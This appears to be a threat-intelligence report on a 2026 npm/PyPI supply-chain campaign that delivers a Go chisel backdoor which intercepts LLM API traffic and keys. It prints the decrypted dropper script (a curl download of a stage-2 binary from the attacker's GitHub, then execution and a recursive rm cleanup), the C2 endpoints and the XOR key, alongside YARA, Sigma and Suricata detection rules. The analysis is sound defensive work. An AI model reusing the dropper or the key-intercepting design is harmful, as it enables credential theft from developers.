GPT-Proxy Backdoor
Critical Supply Chain TLP:GREEN
2026-04-22 → 2026-04-25
GPT-Proxy Backdoor
Supply-chain attack via npm kube-node-health and PyPI kube-health deploying a Go chisel WebSocket RAT that silently proxies and intercepts LLM API traffic. Zero AV detections across 60+ engines at campaign time. Attacker deleted distribution infrastructure within 24 hours of public disclosure.
4
Samples Analysed
0
AV Detections (S1/S2)
40+
LLM APIs Intercepted
121 MB
C2 Traffic Captured
53
Actor GitHub Repos
3
MISP Events Created
Primary C2
wss://sync.geeker.indevs.in:443
Cloudflare-proxied, TLS verify disabled, 100ms retry
Activation Key
XOR key: n4k8x2m6
KH_CFG delivered via stdin pipe, not env var
Threat Actor
github.com/gibunxi4201
Chinese circumvention operator; deleted repo 2026-04-25
Stage-2 Capability
chisel WSS tunnel + LLM MITM proxy
Tool-call injection, ngrok fallback, 20+ parallel conns
1 Attack Chain
📦
Package Registry
npm: kube-node-health
PyPI: kube-health
npm PyPI
🪝
S2 / S1 Dropper
NAPI / Cython
fork() → XOR decrypt
/tmp/.ns shell script
on require()
📜
/tmp/.ns Script
curl kube-node-diag
releases download
echo KH_CFG | binary
shell
🐉
S4 Stage-2 Go RAT
/tmp/.kh
chisel client
LLM MITM proxy
Go 1.21
☁️
C2 via Cloudflare
wss://sync.geeker
.indevs.in:443
TLS verify disabled
persistent
2 Campaign Timeline
2025-06-27
Actor account created
github.com/gibunxi4201 — 53 agsb repos pushed in one session (11-second intervals). Chinese ArgoSB circumvention nodes on Streamlit.
2025-12-07
C2 domain registered
sync.geeker.indevs.in registered via Stackryze Domains (free Indian subdomain service). Cloudflare proxy applied immediately.
2026-04-18
Account last active (pre-discovery)
Actor's GitHub account last updated — 4 days before campaign discovery. Final payload push to kube-node-diag releases.
2026-04-22
Campaign discovered by Aikido Security
kube-node-health (npm) and kube-health (PyPI) flagged. This analysis begins. S4 activated via stdin KH_CFG on agentic host — 121MB pcap captured. S3/S4 submitted to VirusTotal (0 detections).
2026-04-23
C2 domain VT record updated
sync.geeker.indevs.in VT last_modification_date updated — attacker or researcher queried VT for domain detection status the day after disclosure.
2026-04-24
MISP events created
sunrise Event 1097 + agentic Event 4 populated. YARA (6), Sigma (3), Suricata (6) signatures finalised.
2026-04-25
kube-node-diag repo deleted — infrastructure cleanup
404 on github.com/gibunxi4201/kube-node-diag. Dropper download chain broken. S3/S4 acquire 3 detections each (Kaspersky, Microsoft, huorong). This report finalised.
3 Sample Analysis
Fileaddon.node
SHA2565d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
TypeELF 64-bit shared object, NAPI C++ Node.js addon
Originnpm kube-node-health
VT Detections0 / 64
Entry pointnapi_register_module_v1
XOR keyn4k8x2m6 (8-byte repeating)
Blob size874 bytes encrypted
Init Function (0x11f0)
napi_register_module_v1: fork() ; detach from Node.js [child]: setsid() ; new session XOR-decrypt blob ; key "n4k8x2m6" getenv("KH_CFG") ; read config strstr(buf,"echo '") ; find inject point write "/tmp/.ns" ; dropper script chmod(0755) execl("/bin/sh","...") [parent]: return napi_value
capa Detections
T1027 — XOR obfuscation T1082 — System info / env query B0023 — Write + chmod + exec
Filekube_health.so
SHA256b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
TypeELF 64-bit shared object, CPython 3.11 Cython extension
OriginPyPI kube-health
VT Detections0 / 63
Entry pointPyInit_kube_health
Decompressor__Pyx_DecompressString (zlib)
Config keyKH_CFG (plain string)

On import kube_health, the Cython init function decompresses an embedded payload blob using the Cython runtime __Pyx_DecompressString (zlib). The decompressed script reads KH_CFG and executes the same dropper logic as S2, ultimately downloading and running S4 from GitHub.

No XOR obfuscation — uses zlib compression instead. The KH_CFG config variable name is visible as a plain string, which is the primary YARA anchor for this variant.

Filekube-diag-linux-amd64-packed
SHA256a2eea8d8fe270bae16b1fcfff6b778549a18146604ce7a355e706cbc1de442b0
TypeELF 64-bit, Go 1.21, garble-obfuscated
VT Detections3 / 65
Obfuscationgarble (randomised package/func names)
Garble pkg 1_RndZzhTd
Garble pkg 2oor2y7Hoz9
Garble pkg 3wIXGgavYUm
Recoverable strings (survive garble)
json:"socks,omitempty" json:"tunnels" json:"proxy,omitempty" /tmp/.nhc.enc /tmp/.nhc-switch github.com/kubernetes/node-health-check
VT Detection Names
Kaspersky: not-a-virus:HEUR:RiskTool.Linux.Revproxy.d
Microsoft: Trojan:Script/Wacatac.C!ml
SentinelOne: Static AI - Suspicious ELF
Filekube-diag-full-linux-amd64
SHA256000da22223cf9dd6f8b0fe2644b5f8b604f646b863b95ec88872044af9e6a337
TypeELF 64-bit, Go 1.21, full symbol table
VT Detections3 / 65
Key symbol*proxy.GPTProxy
Key symbol*proxy.toolCallState
C2 stringwss://sync.geeker.indevs.in:443
Fallbackpairconnect.ngrok-agent.com
RetryRetrying in 100ms
VT Detection Names
Kaspersky: not-a-virus:HEUR:Server-Proxy.Linux.Chisel.gen
Microsoft: HackTool:Linux/Chisel.C
huorong: HackTool/Linux.Chisel.a!crit
Additional Strings
SSH_TIMEOUT 10.53.3.187 ; attacker internal IPs 10.54.1.152 10.54.3.174 client: TLS verification disabled client: Connecting to wss://...
4 Activation Mechanism

Critical finding: Initial execution of S4 without configuration produced an immediate exit (code 1) with no network activity, suggesting a hard gate. Disassembly of the S2 init function at offset 0x11f0 revealed the full flow: the XOR-decrypted 874-byte blob is a shell script with a placeholder for KH_CFG. The script's delivery method is a stdin pipe, not an environment variable.

Dropper script (decrypted from S2 blob)
#!/bin/sh P=/tmp/.kh # Download stage-2 from GitHub Releases curl -fsSL "https://github.com/gibunxi4201/ kube-node-diag/releases/download/.../ kube-diag-linux-amd64-packed" -o "$P" chmod +x "$P" # Pipe config via stdin — NOT env var echo 'CBIeViBCCxYSV2lb...' | "$P" & # Self-destruct — remove npm package find / -type d -name "kube-health-tools" \ -exec rm -rf {} + 2>/dev/null
Dynamic analysis — activation
Commandecho 'BASE64_KH_CFG' | ./s4_binary
Log line 1client: TLS verification disabled
Log line 2client: Connecting to wss://sync.geeker.indevs.in:443
Connections20+ parallel WebSocket connections within 2s
Retry interval100ms on INetSim connection reset
ProcessRemains resident — no auto-exit
PCAP summary
Capture filedynamic/pcap_s4_c2_capture.pcap
Size121 MB (~8 min capture)
DNS querysync.geeker.indevs.in → INetSim 192.168.0.2
TLS SNIsync.geeker.indevs.in (all 20+ connections)
ngrokNot triggered (primary C2 reachable)
5 C2 Infrastructure
🏗️
Stackryze Domains
Free subdomain service
indevs.in (India)
3,148 subdomains
🌐
geeker.indevs.in
Free registration
Dec 7, 2025
No cost / no trail
☁️
Cloudflare Proxy
104.21.64.60
172.67.176.169
ASN 13335
🔒
Real Backend
IP unknown
Hidden by CF proxy
chisel server
🐉
Victim S4
TLS verify disabled
WSS port 443
20+ parallel conns
sync.geeker.indevs.in
Registered2025-12-07 (Stackryze free subdomain)
VT last modified2026-04-23 (post-disclosure check)
VT detections0 / 94
VT reputation−1 (not yet flagged)
DNS A104.21.64.60, 172.67.176.169
DNS AAAA2606:4700:3036::ac43:b0a9, 2606:4700:3035::6815:403c
Subdomains1 total (sync.geeker.indevs.in only)
ProtocolWSS (chisel) on port 443
ngrok Fallback

S4 contains the hard-coded string pairconnect.ngrok-agent.com — ngrok's agent pairing infrastructure. The binary can establish a ngrok reverse tunnel as fallback if the primary chisel C2 is unreachable.

The specific ngrok URL is dynamically assigned (not visible in the binary). Monitor for outbound connections to *.ngrok-agent.com from any developer or CI host.

Stringpairconnect.ngrok-agent.com
VT lookup404 — no record (legitimate ngrok infra)
Detection methodOutbound DNS to *.ngrok-agent.com
6 Threat Actor Profile
github.com/gibunxi4201
Usernamegibunxi4201
Created2025-06-27
Last active2026-04-18 (4 days pre-discovery)
Public repos53
LanguageSimplified Chinese (repo descriptions, code comments)
Infrastructurekube-node-diag deleted 2026-04-25
MotiveLLM API key theft (financial)
AttributionLOW — Chinese-language profile, no group overlap
Repository Breakdown
kube-node-diag
Hosted S3/S4 binaries in Releases DELETED
nodejs-argo
Obfuscated JS proxy (106KB, 2 lines) Review needed
agsb1 … agsb53
ArgoSB Streamlit proxy nodes (Chinese GFW) Circumvention
ech_tunnel
ECH-encrypted Go proxy tunnel Circumvention
node-ws
VLESS/Trojan serverless Node.js Circumvention
js
"Make profile look active" — contribution faker OpSec
7 LLM API Interception Table

S4's symbol table exposes a routing configuration for 40+ LLM API models. The proxy intercepts requests for each of these endpoints, relaying traffic to the C2 while logging API credentials. Chinese reseller backends (-xmind, -cloudsway, -shubiaobiao suffixes) indicate the attacker routes stolen credentials to Chinese API resellers for monetisation.

Anthropic
claude-sonnet-4.6 claude-3-5-sonnet claude-3-haiku
OpenAI
gpt-5.0 gpt-4.5-preview o3 o4-mini
Google
gemini-2.5-pro gemini-2.0-flash
xAI / Mistral
grok-4 mistral-large-latest
DeepSeek
deepseek-r1 deepseek-v3
Chinese Resellers
doubao_1.6_pro qwen3-235b qwen3-32b *-xmind *-cloudsway *-shubiaobiao
8 MITRE ATT&CK
T1195.001
Supply Chain Compromise: Software Dependencies
Initial Access
Malicious npm kube-node-health and PyPI kube-health packages masquerading as Kubernetes health-check utilities.
high
T1059.004
Command and Scripting Interpreter: Unix Shell
Execution
/tmp/.ns shell script written by S2 dropper; executes via execl("/bin/sh").
high
T1071.001
Application Layer Protocol: Web Protocols
Command & Control
WebSocket C2 over TLS on port 443. Confirmed in dynamic analysis — 20+ parallel WSS connections to sync.geeker.indevs.in.
high
T1572
Protocol Tunneling
Command & Control
chisel WebSocket-multiplexed reverse tunnel. Confirmed by AV detections (Microsoft: HackTool:Linux/Chisel.C) and log strings.
high
T1027
Obfuscate Files or Information
Defense Evasion
S2: XOR-encrypted 874-byte blob with key n4k8x2m6. S3: garble obfuscation randomising all package and function names.
high
T1140
Deobfuscate / Decode at Runtime
Defense Evasion
S2 XOR-decrypts the embedded dropper script at runtime before writing to /tmp/.ns. S1 uses zlib decompression via Cython runtime.
high
T1562.001
Impair Defenses: Disable or Modify Tools
Defense Evasion
chisel client launched with TLS certificate verification disabled (--tls-skip-verify). Log string: "client: TLS verification disabled".
high
T1036.005
Masquerading: Match Legitimate Name or Location
Defense Evasion
Packages named to mimic Kubernetes tooling. Fake Go module path github.com/kubernetes/node-health-check in S3/S4.
high
T1564.001
Hide Artifacts: Hidden Files and Directories
Defense Evasion
All temp artefacts use dot-prefix: /tmp/.ns, /tmp/.kh, /tmp/.nhc.enc, /tmp/.nhc-switch.
high
T1557
Adversary-in-the-Middle
Collection / Credential Access
S4 *proxy.GPTProxy and *proxy.toolCallState implement LLM API MITM. API Bearer tokens and tool call payloads intercepted across 40+ providers.
medium
T1041
Exfiltration Over C2 Channel
Exfiltration
API keys and LLM requests relayed to attacker over the chisel WSS tunnel, which doubles as both C2 shell and exfil channel.
medium
9 Indicators of Compromise
5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d S2 — npm dropper (addon.node)
b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf S1 — PyPI dropper (.so)
a2eea8d8fe270bae16b1fcfff6b778549a18146604ce7a355e706cbc1de442b0 S3 — stage-2 garble
000da22223cf9dd6f8b0fe2644b5f8b604f646b863b95ec88872044af9e6a337 S4 — stage-2 full
sync.geeker.indevs.in Primary C2 — chisel WSS endpoint
geeker.indevs.in Parent domain
pairconnect.ngrok-agent.com ngrok fallback C2 infra
wss://sync.geeker.indevs.in:443 Full C2 URL
/tmp/.ns Dropper shell script (auto-deletes)
/tmp/.kh Stage-2 binary (S4)
/tmp/.nhc.enc Encrypted config file
/tmp/.nhc-switch Config switch sentinel
n4k8x2m6 XOR key (S2 blob)
KH_CFG Config var / stdin identifier
kube-health-tools npm package dir name (cleanup target)
github.com/kubernetes/node-health-check Fake Go module path
Retrying in 100ms chisel reconnect string
client: TLS verification disabled chisel log string
10 VirusTotal Detection Status
S2 — npm NAPI Dropper
5d58ce3119c37f2b...
0 / 64
No detections as of 2026-04-25.
S1 — PyPI Cython Dropper
b3405b8456f4e82f...
0 / 63
No detections as of 2026-04-25.
S3 — Stage-2 (garble)
a2eea8d8fe270bae...
3 / 65
Kaspersky: RiskTool.Linux.Revproxy.d
Microsoft: Trojan:Script/Wacatac.C!ml
SentinelOne: Static AI - Suspicious ELF
S4 — Stage-2 (full symbols)
000da22223cf9dd6...
3 / 65
Kaspersky: Server-Proxy.Linux.Chisel.gen
Microsoft: HackTool:Linux/Chisel.C
huorong: HackTool/Linux.Chisel.a!crit
11 Detection Signatures
rule GPT_Proxy_Backdoor_npm_dropper_S2 { meta: description = "GPT-Proxy Backdoor npm kube-node-health NAPI dropper" sha256 = "5d58ce31..." stage = "dropper-npm" strings: $napi = "napi_register_module_v1" $xor_key = "n4k8x2m6" $kh_cfg = "KH_CFG" $pkg_rm = "kube-health-tools" $tmp_ns = "/tmp/.ns" $tmp_kh = "/tmp/.kh" condition: uint16(0) == 0x457f and $napi and $xor_key and $kh_cfg and $pkg_rm and ($tmp_ns or $tmp_kh) } rule GPT_Proxy_Backdoor_PyPI_dropper_S1 { meta: description = "GPT-Proxy Backdoor PyPI kube-health Cython dropper" stage = "dropper-pypi" strings: $pyinit = "PyInit_kube_health" $decompress = "__Pyx_DecompressString" $kh_cfg = "KH_CFG" condition: uint16(0) == 0x457f and $pyinit and $decompress and $kh_cfg } rule GPT_Proxy_Backdoor_Stage2_Full_S4 { meta: description = "GPT-Proxy Backdoor stage-2 Go proxy RAT" stage = "payload-full" strings: $gpt_proxy = "*proxy.GPTProxy" $tool_call = "*proxy.toolCallState" $chisel_log = "client: TLS verification disabled" $c2_wss = "client: Connecting to wss://" $nhc_enc = "/tmp/.nhc.enc" $k8s_fake = "github.com/kubernetes/node-health-check" $ngrok_ep = "pairconnect.ngrok-agent.com" condition: uint16(0) == 0x457f and ( ($gpt_proxy and $tool_call) or ($chisel_log and $c2_wss) or ($nhc_enc and $k8s_fake) or $ngrok_ep ) } rule GPT_Proxy_Backdoor_Stage2_Garble_S3 { meta: description = "GPT-Proxy Backdoor stage-2 garble-obfuscated variant" strings: $garble1 = "_RndZzhTd" $garble2 = "oor2y7Hoz9" $socks_json = "json:\"socks,omitempty\"" $tunnels_json = "json:\"tunnels\"" $proxy_json = "json:\"proxy,omitempty\"" condition: uint16(0) == 0x457f and ( ($garble1 and $garble2) or ($socks_json and $tunnels_json and $proxy_json) ) } rule GPT_Proxy_Backdoor_Dropper_Script { meta: description = "GPT-Proxy Backdoor embedded shell dropper (/tmp/.ns)" strings: $shebang = "#!/bin/sh" $dl_url = "github.com/gibunxi4201/kube-node-diag" $tmp_kh = "P=/tmp/.kh" $pkg_cleanup= "find / -type d -name \"kube-health-tools\"" condition: $shebang at 0 and $dl_url and $tmp_kh and $pkg_cleanup } rule GPT_Proxy_Backdoor_C2_Strings { meta: description = "GPT-Proxy Backdoor C2 domain or chisel tunnel string" strings: $c2_domain = "sync.geeker.indevs.in" $wss_c2 = "wss://sync.geeker.indevs.in" $chisel_retry = "Retrying in 100ms" condition: any of them }
title: GPT-Proxy Backdoor - Linux Dropper and Stage-2 Activity id: a8f4c2d1-9e3b-4a7f-b8c5-2d6e9f1a3b7c status: stable level: critical detection: selection_dropper_artifacts: CommandLine|contains: - '/tmp/.ns' - '/tmp/.kh' - '/tmp/.nhc.enc' selection_dropper_download: CommandLine|contains: - 'gibunxi4201/kube-node-diag' - 'kube-diag-linux-amd64' selection_cleanup: CommandLine|contains|all: - 'kube-health-tools' - 'node_modules' selection_c2: CommandLine|contains: - 'sync.geeker.indevs.in' condition: 1 of selection_* --- title: GPT-Proxy Backdoor - Suspicious Temp File Execution id: b9e7f3a2-5c1d-4b8e-a9f6-3e7c2d8f4a1b status: stable level: high detection: selection: Image|startswith: '/tmp/.' Image|contains: - '.kh' - '.ns' - '.nhc' condition: selection --- title: GPT-Proxy Backdoor - Network Connection to C2 id: c7d5e1f4-2a9b-4c6e-b3d8-1f5a9c2e7b4d status: stable level: critical logsource: product: linux category: network_connection detection: selection: DestinationHostname|contains: 'geeker.indevs.in' condition: selection
alert dns any any -> any any ( msg:"GPT-Proxy Backdoor C2 DNS - sync.geeker.indevs.in"; dns.query; content:"sync.geeker.indevs.in"; nocase; classtype:trojan-activity; sid:9000001; rev:1;) alert dns any any -> any any ( msg:"GPT-Proxy Backdoor C2 DNS - geeker.indevs.in"; dns.query; content:"geeker.indevs.in"; nocase; classtype:trojan-activity; sid:9000002; rev:1;) alert tls any any -> any 443 ( msg:"GPT-Proxy Backdoor TLS SNI - sync.geeker.indevs.in"; tls.sni; content:"sync.geeker.indevs.in"; nocase; classtype:trojan-activity; sid:9000003; rev:1;) alert http any any -> any any ( msg:"GPT-Proxy Backdoor stage-2 download - kube-node-diag"; http.uri; content:"/gibunxi4201/kube-node-diag/releases"; nocase; http.hostname; content:"github.com"; classtype:trojan-activity; sid:9000004; rev:1;) alert http any any -> any any ( msg:"GPT-Proxy Backdoor stage-2 binary name"; http.uri; content:"kube-diag-linux-amd64-packed"; nocase; classtype:trojan-activity; sid:9000005; rev:1;) alert tcp any any -> any 443 ( msg:"GPT-Proxy Backdoor WebSocket upgrade to C2"; content:"GET /"; http_method; http.header; content:"Upgrade: websocket"; nocase; http.header; content:"sync.geeker.indevs.in"; nocase; classtype:trojan-activity; sid:9000006; rev:1;)
12 Recommendations
🚨
Block C2 at DNS and TLS SNI (immediate)
Block sync.geeker.indevs.in and geeker.indevs.in at your DNS resolver and perimeter TLS inspection. Do not block the Cloudflare IPs (104.21.64.60, 172.67.176.169) — they are shared infrastructure. Deploy Suricata rules SIDs 9000001–9000006.
🔍
Hunt for artefacts on developer and CI hosts
Check for node_modules/kube-node-health/, Python environments containing kube_health, and processes running from /tmp/. paths. On Linux:
ps aux | grep -E '/tmp/\.(kh|ns|nhc)'
find /tmp -maxdepth 1 -name '.*' -type f -executable
🔑
Rotate all LLM API keys on affected systems
If either package was ever installed, rotate API keys for all 40+ providers listed in Section 7, regardless of whether S4 was successfully activated. S2/S1 may have operated before the kube-node-diag repo was deleted. Check provider billing dashboards for unexpected token consumption.
📬
Submit abuse reports
Three targets: Stackryze Domains — request suspension of geeker.indevs.in. Cloudflare — reverse proxy abuse report for sync.geeker.indevs.in. GitHub — report account gibunxi4201 (account still active as of 2026-04-25).
🛡️
Supply chain hygiene
Enforce hash-pinning in package-lock.json and requirements.txt. Flag any npm package shipping a .node NAPI addon for security review. Add kube-* package allowlists to internal registries. Monitor for outbound WSS connections with Upgrade: websocket headers from developer workstations.
GPT-Proxy Backdoor Campaign Analysis  |  TLP:GREEN  |  analyst@vultr  |  2026-04-25  |  MISP: sunrise Event 1097 / agentic Event 4